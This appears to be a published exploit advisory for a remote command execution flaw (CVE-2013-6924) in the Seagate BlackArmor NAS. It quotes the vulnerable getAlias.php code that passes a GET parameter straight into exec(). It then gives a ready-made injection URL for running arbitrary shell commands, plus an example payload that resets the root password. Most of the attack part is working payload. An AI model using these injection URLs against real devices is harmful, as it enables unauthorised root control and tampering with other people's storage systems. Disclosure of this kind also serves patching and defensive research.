1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# Exploit Title: Seagate BlackArmor NAS - Remote Command Execution # Google Dork: N/A # Date: 04-01-2014 # Exploit Author: Jeroen - IT Nerdbox # Vendor Homepage:<http://www.seagate.com/> http://www.seagate.com/ # Software Link: <http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/ > http://www.seagate.com/support/downloads/item/banas-220-firmware-master-dl/ # Version: sg2000-2000.1331 # Tested on: N/A # CVE : CVE-2013-6924 # ## Description: # # The file getAlias.php located in /backupmgt has the following lines: # # $ipAddress = $_GET["ip"; # if ($ipAddress != "") { #exec("grep -I $ipAddress $immedLogFile > aliasHistory.txt"); #.. #.. # } # # The GET parameter can easily be manipulated to execute commands on the BlackArmor system. # ## Proof of Concept: # # http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; <your command here>; # ## Example to change the root password to 'mypassword': # # http(s)://<ip | host>/backupmgt/getAlias.php?ip=xx /etc/passwd; echo 'mypassword' | passwd --stdin; |